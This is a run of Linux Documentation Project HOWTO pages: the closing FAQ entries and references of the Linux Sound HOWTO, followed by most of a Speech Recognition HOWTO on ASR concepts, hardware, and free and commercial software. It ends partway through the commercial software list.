Try the oplbeep program, found at ftp://www.ibiblio.org/pub/Linux/apps/sound/oplbeep-2.3.tar.gz

Another variant is the beep program found at ftp://www.ibiblio.org/pub/Linux/kernel/patches/misc/modreq_beep.tgz

The modutils package has an example program and kernel patch that supports calling an arbitrary external program to generate sounds when requested by the kernel.

Version 2.0 and later of KDE allows playing a sound file for the console beep in KDE applications such as konsole.

Alternatively, with some sound cards you can connect the PC speaker output to the sound card so that all sounds come from the sound card speakers.

6.29. What is VoxWare?

The commercial version of the sound drivers sold by 4Front Technologies was previously known by other names such as VoxWare, USS (Unix Sound System), and even TASD (Temporarily Anonymous Sound Driver). It is now marketed as OSS (Open Sound System). The version included in the Linux kernel is sometimes referred to as OSS/Free.

For more information see the 4Front Technologies web page at http://www.opensound.com/. I wrote a review of OSS/Linux in the June 1997 issue of Linux Journal.

6.30. Sox/Play/Vplay reports "invalid block size 1024"

A change to the sound driver in version 1.3.67 broke some sound player programs which (incorrectly) checked that the result from the SNDCTL_DSP_GETBLKSIZE ioctl was greater than 4096. The latest sound driver versions have been fixed to avoid allocating fragments shorter than 4096 bytes which solves this problem with old utilities.

6.31. The mixer settings are reset whenever I load the sound driver module

You can build the sound driver as a loadable module and use kerneld to automatically load and unload it. This can present one problem - whenever the module is reloaded the mixer settings go back to their default values. For some sound cards this can be too loud (e.g. SoundBlaster16) or too quiet. Markus Gutschke (gutschk@uni-muenster.de) found this solution. Use a line in your /etc/conf.modules file such as the following:
options sound dma_buffsize=65536
post-install sound /usr/bin/setmixer igain 0 ogain 0 vol 75

This causes your mixer program (in this case setmixer) to be run immediately after the sound driver is loaded. The dma_buffsize parameter is just a dummy value needed because the option command requires a command line option. Change the line as needed to match your mixer program and gain settings.

If you have compiled the sound driver into your kernel and you want to set the mixer gains at boot time you can put a call to your mixer program in a system startup file such as /etc/rc.d/rc.local.

6.32. Only user root can record sound

By default the script in Readme.linux that creates the sound device files only allows the devices to be read by user root. This is to plug a potential security hole. In a networked environment, external users could conceivably log in remotely to a Linux PC with a sound card and microphone and eavesdrop. If you are not worried about this, you can change the permissions used in the script.

With the default setup, users can still play sound files. This is not a security risk but is a potential for nuisance.

6.33. Is the sound hardware on the IBM ThinkPad supported?

Information on how to use the mwave sound card on an IBM ThinkPad laptop computer can be found in the file /usr/src/linux/Documentation/sound/mwave, which is part of the kernel source distribution (note that not all IBM ThinkPads use the MWAVE sound chip).

6.34. Applications fail because my sound card has no mixer

Some old 8-bit SoundBlaster cards have no mixer circuitry. Some sound applications insist on being able to open the mixer device, and fail with these cards. Jens Werner (werner@bert.emv.ing.tu-bs.de) reports a workaround for this is to link /dev/mixer to /dev/null and everything should work fine.

6.35. Problems with a SB16 CT4170

From Scott Manley (spm@star.arm.ac.uk):

There seems to be a new type of Soundblaster - it was sold to us as a SB16 - the Model no. on the Card is CT4170. These Beasties only have one DMA channel so when you try to set them up then the kernel will have trouble accessing the 16 bit DMA. The solution is to set the second DMA to 1 so that the card will behave as advertised.

6.36. How to connect a MIDI keyboard to a soundcard

From Kim G. S. OEyhus (kim@pvv.ntnu.no):

I looked all around the internet and in sound documentation on how to do something as simple as connecting the MIDI output from a master keyboard to the MIDI input on a sound card. I found nothing. The problem is that they both use the same device, /dev/midi, at least when using the OSS sound system. So I found a way to do it, which I want to share. This makes for a very simple synthesizer, with full MIDI support:

CONNECTING A MIDI MASTER-KEYBOARD DIRECTLY TO A SOUNDCARD WITH MIDI

A MIDI master-keyboard is a keyboard without any synthesizer, and with only a MIDI-out plug. This can be connected to the 15-pin D-SUB port on most sound-cards with a suitable cable.

Such a keyboard can be used to control the MIDI synthesizer device for the card, thus making a simple keyboard controlled synthesizer.

Compile the following program, say with 'gcc -o prog prog.c' and run it:
#include <fcntl.h>

main()
{
  int fil, a;
  char b[256];

  fil=open("/dev/midi", O_RDWR);
  for(;;)
    {
      a=read(fil, b, 256);
      write(fil, b, a);
    }
}

6.37. Problems with IRQ 15 and Ensoniq PCI 128

From Matthew Inger (mattinger@mindless.com):

Information on getting an Ensoniq PCI 128 card to work.

The problem that it was exhibiting was that it was trying to use interrupt 15 by default (Plug and Pray was responsible for this one). This interrupt is used by the secondary ide controller, and cannot be shared by other devices. You need to somehow force the es1370 to use another interrupt (should use interrupt 11 like it does under windows).

I figured this one out for myself believe it or not.

What I had to do was:

a) in the BIOS, you have to tell the computer that you don't have a Plug and Play OS. I believe this is under advanced options in my BIOS.

b) in the PCI settings in the BIOS, tell the computer to reserve interrupt 15 for legacy ISA devices. In my bios, under advanced options, there is a section for PCI settings. Under there, there is a Resource Exclusion area, and that's where to do this.

When you reboot into linux you will be able to use sound. (I don't remember if it shows up in the boot messages or not like it used to). To be safe, I ran sndconfig again so that it would play the test message, which sounded not great, but it was there. When I played a CD however, it sounded perfect.

Don't worry about windows, I tried both my cards: ISA Modem, and the Sound Card out, and they work without any hitches.

The odds are your BIOS will be different from mine, but you just have to figure out where the settings are for the above two items. Good luck.

6.38. Where can I get freely available MIDI patches to run SoftOSS?

SoftOSS is a software-based wavetable synthesizer included with the kernel sound driver that is compatible with the Gravis Utrasound card. To operate the driver needs GUS compatible MIDI patch files. The documentation mentions the "public domain MIDIA patchset available from several ftp sites". Note that SoftOSS is no longer included as of the 2.4 kernels.

As explained on the 4Front Technologies web page http://www.opensound.com/softoss.html they can be downloaded from ftp://archive.cs.umbc.edu/pub/midia/instruments.tar.gz.

Prev | Home | Next
Applications Supporting Sound |  | References


References

The Linux Sound HOWTO
Prev

7. References

If you have a sound card that supports a CD-ROM or SCSI interface, the Linux SCSI HOWTO and the Linux CD-ROM HOWTO have additional information that may be useful to you.

The Sound Playing HOWTO describes how to play various types of sound and music files under Linux.

The Linux SoundBlaster AWE32/64 Mini-HOWTO describes how to get a SoundBlaster 32 or 64 card working under Linux.

Programming information is available from the 4Front Technologies web site at http://www.opensound.com/pguide.

The following FAQs are regularly posted to the Usenet newsgroup news.announce as well as being archived at ftp://rtfm.mit.edu/pub/usenet/news.answers:

  • PCsoundcards/generic-faq (Generic PC Soundcard FAQ)

  • PCsoundcards/soundcard-faq (comp.sys.ibm.pc.soundcard FAQ)

  • PCsoundcards/gravis-ultrasound/faq (Gravis UltraSound FAQ)

  • audio-fmts/part1 (Audio file format descriptions)

  • audio-fmts/part2 (Audio file format descriptions)

The FAQs also list several product specific mailing lists and archive sites. The following Usenet news groups discuss sound and/or music related issues:

  • alt.binaries.sounds.* (various groups for posting sound files)

  • alt.binaries.multimedia (for posting Multimedia files)

  • alt.sb.programmer (Soundblaster programming topics)

  • comp.multimedia (Multimedia topics)

  • comp.music (Computer music theory and research)

  • comp.sys.ibm.pc.soundcard.* (various IBM PC sound card groups)

A web site dedicated to multimedia can be found at http://www.scala.com/multimedia/. Another good site for Linux MIDI and sound applications is http://sound.condorow.net/. Creative Labs has a web site at http://www.creaf.com/.

The Linux mailing list has a number of "channels" dedicated to different topics. To find out how to join, send a mail message with the word "help" as the message body to majordomo@vger.kernel.org.

As mentioned several times before, the kernel sound driver includes a number of Readme files containing useful information about the sound card driver. These can typically be found in the directory /usr/src/linux/drivers/sound.

Information on OSS, the commercial sound driver for Linux and other Unix compatible operating systems, can be found at the 4Front Technologies web page at http://www.opensound.com/.

The Linux Software Map (LSM) is an invaluable reference for locating Linux software. The LSM home page is at http://www.ExecPC.com/lsm/. and there is an on-line browsable version at http://www.boutell.com/lsm/.

Another great site for finding Linux applications is http://www.freshmeat.net/.

The Linux Documentation Project has produced several books on Linux, including Linux Installation and Getting Started. These are freely available by anonymous FTP from major Linux archive sites or can be purchased in hardcopy format.

Finally, a shameless plug: If you want to learn a lot more about multimedia under Linux (especially CD-ROM and sound card applications and programming), check out my book Linux Multimedia Guide, ISBN 1-56592-219-0, published by O'Reilly and Associates. As well as the original English version, French and Japanese translations are now in print. For details, call 800-998-9938 in North America or check the web page http://www.ora.com/catalog/multilinux/noframes.html.

Prev | Home
Answers To Frequently Asked Questions |


Forward

Speech Recognition HOWTO
Prev Next

2. Forward

2.1. About This Document

This document is targeted at the beginner to intermediate level Linux user interested in learning about Speech Recognition and trying it out. It may also help the interested developer in explaining the basics of speech recognition programming.

I started this document when I began researching what speech recognition software and development libraries were available for Linux. Automated Speech Recognition (ASR or just SR) on Linux is just starting to come into its own, and I hope this document gives it a push in the right direction - by supporting both users and developers of ASR technology.

I have left a variety of SR techniques out of this document, and instead I have focused on the "HOWTO" aspect (since this is a howto...). I have included a Publications section so the interested reader can find books and articles on anything not covered here. This is not meant to be a definitive statement of ASR on Linux.

For the most recent version of this document, check the LDP archive, or go to: http://www.gear21.com/speech/index.html.

2.2. Acknowledgements

I would like to thank the following people for the help, reviewing, and support of this document:

  • Jessica Perry Hekman

  • Geoff Wexler

2.3. Comments/Updates/Feedback

If you have any comments, suggestions, revisions, updates, or just want to chat about ASR, please send an email to me at scook@gear21.com.

2.4. ToDo

The following things are left "to do":

  • Add descriptions in the Publications section.

  • Add more books to the Publications section.

  • Add more links with descriptions.

  • Enhance the description of the ASR system steps

  • Include descriptions of FFTs and Filters.

  • Include descriptions of DSP principles.

2.5. Revision History

v0.1 first rough draft - August 2000

v0.5 final draft - September 2000

Prev | Home | Next
Legal Notices |  | Introduction


Hardware

Speech Recognition HOWTO
Prev Next

4. Hardware

4.1. Sound Cards

Because speech requires a relatively low bandwidth, just about any medium-high quality 16 bit sound card will get the job done. You must have sound enabled in your kernel, and you must have correct drivers installed. For more information on sound cards, please see "The Linux Sound HOWTO" available at: http://www.LinuxDoc.org/. Sound card quality often starts a heated discussion about their impact on accuracy and noise.

Sound cards with the 'cleanest' A/D (analog to digital) conversions are recommended, but most often the clarity of the digital sample is more dependent on the microphone quality and even more dependent on the environmental noise. Electrical "noise" from monitors, pci slots, hard-drives, etc. are usually nothing compared to audible noise from the computer fans, squeaking chairs, or heavy breathing.

Some ASR software packages may require a specific sound card. It's usually a good idea to stay away from specific hardware requirements, because it limits many of your possible future options and decisions. You'll have to weigh the benefits and costs if you are considering packages that require specific hardware to function properly.

4.2. Microphones

A quality microphone is key when utilizing ASR. In most cases, a desktop microphone just won't do the job. They tend to pick up more ambient noise that gives ASR programs a hard time.

Hand held microphones are also not the best choice as they can be cumbersome to pick up all the time. While they do limit the amount of ambient noise, they are most useful in applications that require changing speakers often, or when speaking to the recognizer isn't done frequently (when wearing a headset isn't an option).

The best choice, and by far the most common is the headset style. It allows the ambient noise to be minimized, while allowing you to have the microphone at the tip of your tongue all the time. Headsets are available without earphones and with earphones (mono or stereo). I recommend the stereo headphones, but it's just a matter of personal taste.

You can get excellent quality microphone headsets for between $25 $100. A good place to start looking is http://www.headphones.com or http://www.speechcontrol.com.

A quick note about levels: Don't forget to turn up your microphone volume. This can be done with a program such as XMixer or OSS Mixer and care should be used to avoid feedback noise. If the ASR software includes auto-adjustment programs, use them instead, as they are optimized for their particular recognition system.

4.3. Computers/Processors

ASR applications can be heavily dependent on processing speed. This is because a large amount of digital filtering and signal processing can take place in ASR.

As with just about any cpu intensive software, the faster the better. Also, the more memory the better. It's possible to do some SR with 100MHz and 16M RAM, but for fast processing (large dictionaries, complex recognition schemes, or high sample rates), you should shoot for a minimum of a 400MHz and 128M RAM. Because of the processing required, most software packages list their minimum requirements.

Using a cluster (Beowulf or otherwise) to perform massive recognition efforts hasn't yet been undertaken. If you know of any project underway, or in development please send me a note! scook@gear21.com

Prev | Home | Next
Introduction |  | Speech Recognition Software


Speech Recognition HOWTO

Stephen Cook

scook@gear21.com

Revision History
Revision v2.0 | April 19, 2002 | Revised by: scc
Changed license information (now GFDL) and added a new publication.
Revision v1.2 | February 5, 2002 | Revised by: scc
Added more commercial software listings (sent by Mayur Patel).
Revision v1.1 | October 5, 2001 | Revised by: scc
Added info for Vocalis Speechware. Fixed/Updated various other items.
Revision v1.0 | November 20, 2000 | Revised by: scc
Added info on L and H and HTK
Revision v0.5 | September 13, 2000 | Revised by: scc
Initial HOWTO Submission

Automatic Speech Recognition (ASR) on Linux is becoming easier. Several packages are available for users as well as developers. This document describes the basics of speech recognition and describes some of the available software.

Table of Contents
1. Legal Notices
1.1. Copyright/License
1.2. Disclaimer
1.3. Trademarks
2. Forward
2.1. About This Document
2.2. Acknowledgements
2.3. Comments/Updates/Feedback
2.4. ToDo
2.5. Revision History
3. Introduction
3.1. Speech Recognition Basics
3.2. Types of Speech Recognition
3.3. Uses and Applications
4. Hardware
4.1. Sound Cards
4.2. Microphones
4.3. Computers/Processors
5. Speech Recognition Software
5.1. Free Software
5.2. Commercial Software
6. Inside Speech Recognition
6.1. How Recognizers Work
6.2. Digital Audio Basics
7. Publications
7.1. Books
7.2. Internet
Next
Legal Notices


Inside Speech Recognition

Speech Recognition HOWTO
Prev Next

6. Inside Speech Recognition

6.1. How Recognizers Work

Recognition systems can be broken down into two main types. Pattern Recognition systems compare patterns to known/trained patterns to determine a match. Acoustic Phonetic systems use knowledge of the human body (speech production, and hearing) to compare speech features (phonetics such as vowel sounds). Most modern systems focus on the pattern recognition approach because it combines nicely with current computing techniques and tends to have higher accuracy.

Most recognizers can be broken down into the following steps:

  1. Audio recording and Utterance detection

  2. Pre-Filtering (pre-emphasis, normalization, banding, etc.)

  3. Framing and Windowing (chopping the data into a usable format)

  4. Filtering (further filtering of each window/frame/freq. band)

  5. Comparison and Matching (recognizing the utterance)

  6. Action (Perform function associated with the recognized pattern)

Although each step seems simple, each one can involve a multitude of different (and sometimes completely opposite) techniques.

(1) Audio/Utterance Recording: can be accomplished in a number of ways. Starting points can be found by comparing ambient audio levels (acoustic energy in some cases) with the sample just recorded. Endpoint detection is harder because speakers tend to leave "artifacts" including breathing/sighing,teeth chatters, and echoes.

(2) Pre-Filtering: is accomplished in a variety of ways, depending on other features of the recognition system. The most common methods are the "Bank-of-Filters" method which utilizes a series of audio filters to prepare the sample, and the Linear Predictive Coding method which uses a prediction function to calculate differences (errors). Different forms of spectral analysis are also used.

(3) Framing/Windowing involves separating the sample data into specific sizes. This is often rolled into step 2 or step 4. This step also involves preparing the sample boundaries for analysis (removing edge clicks, etc.)

(4) Additional Filtering is not always present. It is the final preparation for each window before comparison and matching. Often this consists of time alignment and normalization.

There are a huge number of techniques available for (5), Comparison and Matching. Most involve comparing the current window with known samples. There are methods that use Hidden Markov Models (HMM), frequency analysis, differential analysis, linear algebra techniques/shortcuts, spectral distortion, and time distortion methods. All these methods are used to generate a probability and accuracy match.

(6) Actions can be just about anything the developer wants. *GRIN*

6.2. Digital Audio Basics

Audio is inherently an analog phenomenon. Recording a digital sample is done by converting the analog signal from the microphone to an digital signal through the A/D converter in the sound card. When a microphone is operating, sound waves vibrate the magnetic element in the microphone, causing an electrical current to the sound card (think of a speaker working in reverse). Basically, the A/D converter records the value of the electrical voltage at specific intervals.

There are two important factors during this process. First is the "sample rate", or how often to record the voltage values. Second, is the "bits per sample", or how accurate the value is recorded. A third item is the number of channels (mono or stereo), but for most ASR applications mono is sufficient. Most applications use pre-set values for these parameters and user's shouldn't change them unless the documentation suggests it. Developers should experiment with different values to determine what works best with their algorithms.

So what is a good sample rate for ASR? Because speech is relatively low bandwidth (mostly between 100Hz-8kHz), 8000 samples/sec (8kHz) is sufficient for most basic ASR. But, some people prefer 16000 samples/sec (16kHz) because it provides more accurate high frequency information. If you have the processing power, use 16kHz. For most ASR applications, sampling rates higher than about 22kHz is a waste.

And what is a good value for "bits per sample"? 8 bits per sample will record values between 0 and 255, which means that the position of the microphone element is in one of 256 positions. 16 bits per sample divides the element position into 65536 possible values. Similar to sample rate, if you have enough processing power and memory, go with 16 bits per sample. For comparison, an audio Compact Disc is encoded with 16 bits per sample at about 44kHz.

The encoding format used should be simple - linear signed or unsigned. Using a U-Law/A-Law algorithm or some other compression scheme is usually not worth it, as it will cost you in computing power, and not gain you much.

Prev | Home | Next
Speech Recognition Software |  | Publications


Introduction

Speech Recognition HOWTO
Prev Next

3. Introduction

3.1. Speech Recognition Basics

Speech recognition is the process by which a computer (or other type of machine) identifies spoken words. Basically, it means talking to your computer, AND having it correctly recognize what you are saying.

The following definitions are the basics needed for understanding speech recognition technology.

Utterance

An utterance is the vocalization (speaking) of a word or words that represent a single meaning to the computer. Utterances can be a single word, a few words, a sentence, or even multiple sentences.

Speaker Dependance

Speaker dependent systems are designed around a specific speaker. They generally are more accurate for the correct speaker, but much less accurate for other speakers. They assume the speaker will speak in a consistent voice and tempo. Speaker independent systems are designed for a variety of speakers. Adaptive systems usually start as speaker independent systems and utilize training techniques to adapt to the speaker to increase their recognition accuracy.

Vocabularies

Vocabularies (or dictionaries) are lists of words or utterances that can be recognized by the SR system. Generally, smaller vocabularies are easier for a computer to recognize, while larger vocabularies are more difficult. Unlike normal dictionaries, each entry doesn't have to be a single word. They can be as long as a sentence or two. Smaller vocabularies can have as few as 1 or 2 recognized utterances (e.g."Wake Up"), while very large vocabularies can have a hundred thousand or more!

Accuract

The ability of a recognizer can be examined by measuring its accuracy - or how well it recognizes utterances. This includes not only correctly identifying an utterance but also identifying if the spoken utterance is not in its vocabulary. Good ASR systems have an accuracy of 98% or more! The acceptable accuracy of a system really depends on the application.

Training

Some speech recognizers have the ability to adapt to a speaker. When the system has this ability, it may allow training to take place. An ASR system is trained by having the speaker repeat standard or common phrases and adjusting its comparison algorithms to match that particular speaker. Training a recognizer usually improves its accuracy.

Training can also be used by speakers that have difficulty speaking, or pronouncing certain words. As long as the speaker can consistently repeat an utterance, ASR systems with training should be able to adapt.

3.2. Types of Speech Recognition

Speech recognition systems can be separated in several different classes by describing what types of utterances they have the ability to recognize. These classes are based on the fact that one of the difficulties of ASR is the ability to determine when a speaker starts and finishes an utterance. Most packages can fit into more than one class, depending on which mode they're using.

Isolated Words

Isolated word recognizers usually require each utterance to have quiet (lack of an audio signal) on BOTH sides of the sample window. It doesn't mean that it accepts single words, but does require a single utterance at a time. Often, these systems have "Listen/Not-Listen" states, where they require the speaker to wait between utterances (usually doing processing during the pauses). Isolated Utterance might be a better name for this class.

Connected Words

Connect word systems (or more correctly 'connected utterances') are similar to Isolated words, but allow separate utterances to be 'run-together' with a minimal pause between them.

Continuous Speech

Continuous recognition is the next step. Recognizers with continuous speech capabilities are some of the most difficult to create because they must utilize special methods to determine utterance boundaries. Continuous speech recognizers allow users to speak almost naturally, while the computer determines the content. Basically, it's computer dictation.

Spontaneous Speech

There appears to be a variety of definitions for what spontaneous speech actually is. At a basic level, it can be thought of as speech that is natural sounding and not rehearsed. An ASR system with spontaneous speech ability should be able to handle a variety of natural speech features such as words being run together, "ums" and "ahs", and even slight stutters.

Voice Verification/Identification

Some ASR systems have the ability to identify specific users. This document doesn't cover verification or security systems.

3.3. Uses and Applications

Although any task that involves interfacing with a computer can potentially use ASR, the following applications are the most common right now.

Dictation

Dictation is the most common use for ASR systems today. This includes medical transcriptions, legal and business dictation, as well as general word processing. In some cases special vocabularies are used to increase the accuracy of the system.

Command and Control

ASR systems that are designed to perform functions and actions on the system are defined as Command and Control systems. Utterances like "Open Netscape" and "Start a new xterm" will do just that.

Telephony

Some PBX/Voice Mail systems allow callers to speak commands instead of pressing buttons to send specific tones.

Wearables

Because inputs are limited for wearable devices, speaking is a natural possibility.

Medical/Disabilities

Many people have difficulty typing due to physical limitations such as repetitive strain injuries (RSI), muscular dystrophy, and many others. For example, people with difficulty hearing could use a system connected to their telephone to convert the caller's speech to text.

Embedded Applications

Some newer cellular phones include C&C speech recognition that allow utterances such as "Call Home". This could be a major factor in the future of ASR and Linux. Why can't I talk to my television yet?

Prev | Home | Next
Forward |  | Hardware


Legal Notices

Speech Recognition HOWTO
Prev Next

1. Legal Notices

1.1. Copyright/License

Copyright (c) 2000-2002 Stephen C. Cook. Permission is granted to copy, distribute, and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation.

This document is made available under the terms of the GNU Free Documentation License (GFDL), which is hereby incorporated by reference.

1.2. Disclaimer

The author disclaims all warranties with regard to this document, including all implied warranties of merchantability and fitness for a certain purpose; in no event shall the author be liable for any special, indirect or consequential damages or any damages whatsoever resulting from loss of use, data or profits, whether in an action of contract, negligence or other tortious action, arising out of or in connection with the use of this document.

1.3. Trademarks

All trademarks contained in this document are copyright/trademark of their respective owners.

Prev | Home | Next
Speech Recognition HOWTO |  | Forward


Publications

Speech Recognition HOWTO
Prev

7. Publications

If there is a publication that is not on this list, that you think should be, please send the information to me at: scook@gear21.com.

7.1. Books

  • "Fundamentals of Speech Recognition". L. Rabiner & B. Juang. 1993. ISBN: 0130151572.

  • "How to Build a Speech Recognition Application". B. Balentine, D. Morgan, and W. Meisel. 1999. ISBN: 0967127815.

  • "Speech Recognition : Theory and C++ Implementation". C. Becchetti and L.P. Ricotti. 1999. ISBN: 0471977306.

  • "Applied Speech Technology". A. Syrdal, R. Bennett, S. Greenspan. 1994. ISBN: 0849394562.

  • "Speech Recognition : The Complete Practical Reference Guide". P. Foster, T. Schalk. 1993. ISBN: 0936648392.

  • "Speech and Language Processing: An Introduction to Natural Language Processing, Computational Linguistics and Speech Recognition". D. Jurafsky, J. Martin. 2000. ISBN: 0130950696.

  • "Discrete-Time Processing of Speech Signals (IEEE Press Classic Reissue)". J. Deller, J. Hansen, J. Proakis. 1999. ISBN: 0780353862.

  • "Statistical Methods for Speech Recognition (Language, Speech, and Communication)". F. Jelinek. 1999. ISBN: 0262100665.

  • "Digital Processing of Speech Signals" L. Rabiner, R. Schafer. 1978. ISBN: 0132136031

  • "Foundations of Statistical Natural Language Processing". C. Manning, H. Schutze. 1999. ISBN: 0262133601.

  • "Designing Effective Speech Interfaces". S. Weinschenk, D. T. Barker. 2000. ISBN: 0471375454.

For a very LARGE online biography, check the Institut Fur Phonetik: http://www.informatik.uni-frankfurt.de/~ifb/bib_engl.html

7.2. Internet

news:comp.speech

Newsgroup dedicated to computer and speech.

  • US: http://www.speech.cs.cmu.edu/comp.speech/

  • UK: http://svr-www.eng.cam.ac.uk/comp.speech/

  • Aus: http://www.speech.su.oz.au/comp.speech/

news:comp.speech.users

Newsgroup dedicated to users of speech software.

  • http://www.speechtechnology.com/users/comp.speech.users.html

news:comp.speech.research

Newsgroup dedicated to speech software and hardware research.

news:comp.dsp

Newsgroup dedicated to digital signal processing.

news:alt.sci.physics.acoustics

Newsgroup dedicated to the physics of sound.

DDLinux Email List

Speech Recognition on Linux Mailing List.

  • Homepage: http://leb.net/ddlinux/

  • Archives: http://leb.net/pipermail/ddlinux/

Linux Software Repository for speech applications

http://sunsite.uio.no/pub/linux/sound/apps/speech/

Russ Wilcox's List of Speech Recognition Links

(excellent) http://www.tiac.net/users/rwilcox/speech.html

Online Bibliography

Online Bibliography of Phonetics and Speech Technology Publications. http://www.informatik.uni-frankfurt.de/~ifb/bib_engl.html

MIT's Spoken Language Systems Homepage

http://www.sls.lcs.mit.edu/sls/

Oregon Graduate Institute

Center for Spoken Language Understanding at Oregon Graduate Institute. An excellent location for developers and researchers. http://cslu.cse.ogi.edu/

IBM's ViaVoice Linux SDK

http://www-4.ibm.com/software/speech/dev/sdk_linux.html

Mississippi State

Mississippi State Institute for Signal and Information Processing homepage with a large amount of useful information for developers. http://www.isip.msstate.edu/projects/speech/

Speech Technology

ASR software and accessories. http://www.speechtechnology.com

Speech Control

Speech Controlled Computer Systems. Microphones, headsets, and wireless products for ASR. http://www.speechcontrol.com

Microphones.com

Microphones and accessories for ASR. http://www.microphones.com

21st Century Eloquence

"Speech Recognition Specialists." http://voicerecognition.com

Computing Out Loud

Primarily for Windows users, but good info. http://www.out-loud.com

Say I Can.com

"The Speech Recognition Information Source." http://www.sayican.com

Prev | Home
Inside Speech Recognition |


Speech Recognition Software

Speech Recognition HOWTO
Prev Next

5. Speech Recognition Software

5.1. Free Software

Much of the free software listed here is available for download at: http://sunsite.uio.no/pub/Linux/sound/apps/speech/

5.1.1. XVoice

XVoice is a dictation/continuous speech recognizer that can be used with a variety of XWindow applications. It allows user-defined macros. This is a fine program with a definite future. Once setup, it performs with adequate accuracy.

XVoice requires that you download and install IBM's (free) ViaVoice for Linux (See Commercial Section). It also requires the configuration of ViaVoice to work correctly. Additionally, Lesstif/Motif (libXm) is required. It is also important to note that because this program interacts with X windows, you must leave X resources open on your machine, so caution should be used if you use this on a networked or multi-user machine.

This software is primarily for users. An RPM is available.

HomePage: http://www.compapp.dcu.ie/~tdoris/Xvoice/ http://www.zachary.com/creemer/xvoice.html

Project: http://xvoice.sourceforge.net

Community: http://www.onelist.com/community/xvoice

5.1.2. CVoiceControl/kVoiceControl

CVoiceControl (which stands for Console Voice Control) started its life as KVoiceControl (KDE Voice Control). It is a basic speech recognition system that allows a user to execute Linux commands by using spoken commands. CVoiceControl replaces KVoiceControl.

The software includes a microphone level configuration utility, a vocabulary "model editor" for adding new commands and utterances, and the speech recognition system.

CVoiceControl is an excellent starting point for experienced users looking to get started in ASR. It is not the most user friendly, but once it has been trained correctly, it can be very helpful. Be sure to read the documentation while setting up.

This software is primarily for users.

Homepage: http://www.kiecza.de/daniel/linux/index.html

Documents: http://www.kiecza.de/daniel/linux/cvoicecontrol/index.html

5.1.3. Open Mind Speech

Started in late 1999, Open Mind Speech has changed names several times (was VoiceControl, then SpeechInput, and then FreeSpeech), and is now part of the "Open Mind Initiative". This is an open source project. Currently it isn't completely operational and is primarily for developers.

This software is primarily for developers.

Homepage: http://freespeech.sourceforge.net

5.1.4. GVoice

GVoice is a speech ASR library that uses IBM's ViaVoice (free) SDK to control Gtk/GNOME applications. It includes libraries for initialization, recognition engine, vocabulary manipulation, and panel control. Development on this has been idle for over a year.

This software is primarily for developers.

Homepage: http://www.cse.ogi.edu/~omega/gnome/gvoice/

5.1.5. ISIP

The Institute for Signal and Information Processing at Mississippi State University has made its speech recognition engine available. The toolkit includes a front-end, a decoder, and a training module. It's a functional toolkit.

This software is primarily for developers.

The toolkit (and more information about ISIP) is available at: http://www.isip.msstate.edu/project/speech/

5.1.6. CMU Sphinx

Sphinx originally started at CMU and has recently been released as open source. This is a fairly large program that includes a lot of tools and information. It is still "in development", but includes trainers, recognizers, acoustic models, language models, and some limited documentation.

This software is primarily for developers.

Homepage: http://www.speech.cs.cmu.edu/sphinx/Sphinx.html

Source: http://download.sourceforge.net/cmusphinx/sphinx2-0.1a.tar.gz

5.1.7. Ears

Although Ears isn't fully developed, it is a good starting point for programmers wishing to start in ASR.

This software is primarily for developers.

FTP site: ftp://svr-ftp.eng.cam.ac.uk/comp.speech/recognition/

5.1.8. NICO ANN Toolkit

The NICO Artificial Neural Network toolkit is a flexible back propagation neural network toolkit optimized for speech recognition applications.

This software is primarily for developers.

Its homepage: http://www.speech.kth.se/NICO/index.html

5.1.9. Myers' Hidden Markov Model Software

This software by Richard Myers is HMM algorithms written in C++ code. It provides an example and learning tool for HMM models described in the L. Rabiner book "Fundamentals of Speech Recognition".

This software is primarily for developers.

Information is available at: http://www.itl.atr.co.jp/comp.speech/Section6/Recognition/myers.hmm.html

5.1.10. Jialong He's Speech Recognition Research Tool

Although not originally written for Linux, this research tool can be compiled on Linux. It contains three different types of recognizers: DTW, Dynamic Hidden Markov Model, and a Continuous Density Hidden Markov Model. This is for research and development uses, as it is not a fully functional ASR system. The toolkit contains some very useful tools.

This software is primarily for developers.

More information is available at: http://www.itl.atr.co.jp/comp.speech/Section6/Recognition/jialong.html

5.1.11. More Free Software?

If you know of free software that isn't included in the above list, please send me a note at: scook@gear21.com. If you're in the mood, you can also send me where to get a copy of the software, and any impressions you may have about it. Thanks!

5.2. Commercial Software

5.2.1. IBM ViaVoice

IBM has made true on their promise to support Linux with their series of ViaVoice products for Linux, though the future of their SDKs aren't set in stone (their licensing agreement for developers isn't officially released as of this date - more to come).

Their commercial (not-free) product, IBM ViaVoice Dictation for Linux (available at http://www-4.ibm.com/software/speech/linux/dictation.html) performs very well, but has some sizeable system requirements compared to the more basic ASR systems (64M RAM and 233MHz Pentium). For the $59.95US price tag you also get an Andrea NC-8 microphone. It also allows multiple users (but I haven't tried it with multiple users, so if anyone has any experience please give me a shout). The package includes: documentation (PDF), Trainer, dictation system, and installation scripts. Support for additional Linux Distributions based on 2.2 kernels is also available in the latest release.

The ASR SDK is available for free, and includes IBM's SMAPI, grammar API, documentation, and a variety of sample programs. The ViaVoice Run Time Kit provides an ASR engine and data files for dictation functions, and user utilities. The ViaVoice Command & Control Run Time Kit includes the ASR engine and data files for command and control functions, and user utilities. The SDK and Kits require 128M RAM and a Linux 2.2 or better kernel)

The SDKs and Kits are available for free at: http://www-4.ibm.com/software/speech/dev/sdk_linux.html

5.2.2. Vocalis Speechware

More information on Vocalis and Vocalis Speechware is available at: http://www.vocalisspeechware.com and http://www.vocalis.com.

5.2.3. Babel Technologies

Babel Technologies has a Linux SDK available called Babear. It is a speaker-independent system based on Hybrid Markov Models and Artificial Neural Networks technology. They also have a variety of products for Text-to-speech, speaker verification, and phoneme analysis. More information is available at: http://www.babeltech.com.

5.2.4. SpeechWorks

I didn't see anything on their website that specifically mentioned Linux, but their "OpenSpeech Recognizer" uses VoiceXML, which is an open standard. More information is available at: http://www.speechworks.com.

5.2.5. Nuance

Nuance offers a speech recognition/natural language product (currently Nuance 8.0) for a variety of *nix platforms. It can handle very large vocabularies and uses a unqiue distributed architecture for scalability and fault tolerance. More information is available at: http://www.nuance.com.

5.2.6. Abbot/AbbotDemo

Abbot is a very large vocabulary, speaker independent ASR system. It was originally developed by the Connectionist Speech Group at Cambridge University. It was transferred (commercialized) to SoftSound. More information is available at: http://www.softsound.com.

AbbotDemo is a demonstration package of Abbot. This demo system has a vocabulary of about 5000 words and uses the connectionist/HMM continuous speech algorithm. This is a demonstration program with no source code.

5.2.7. Entropic

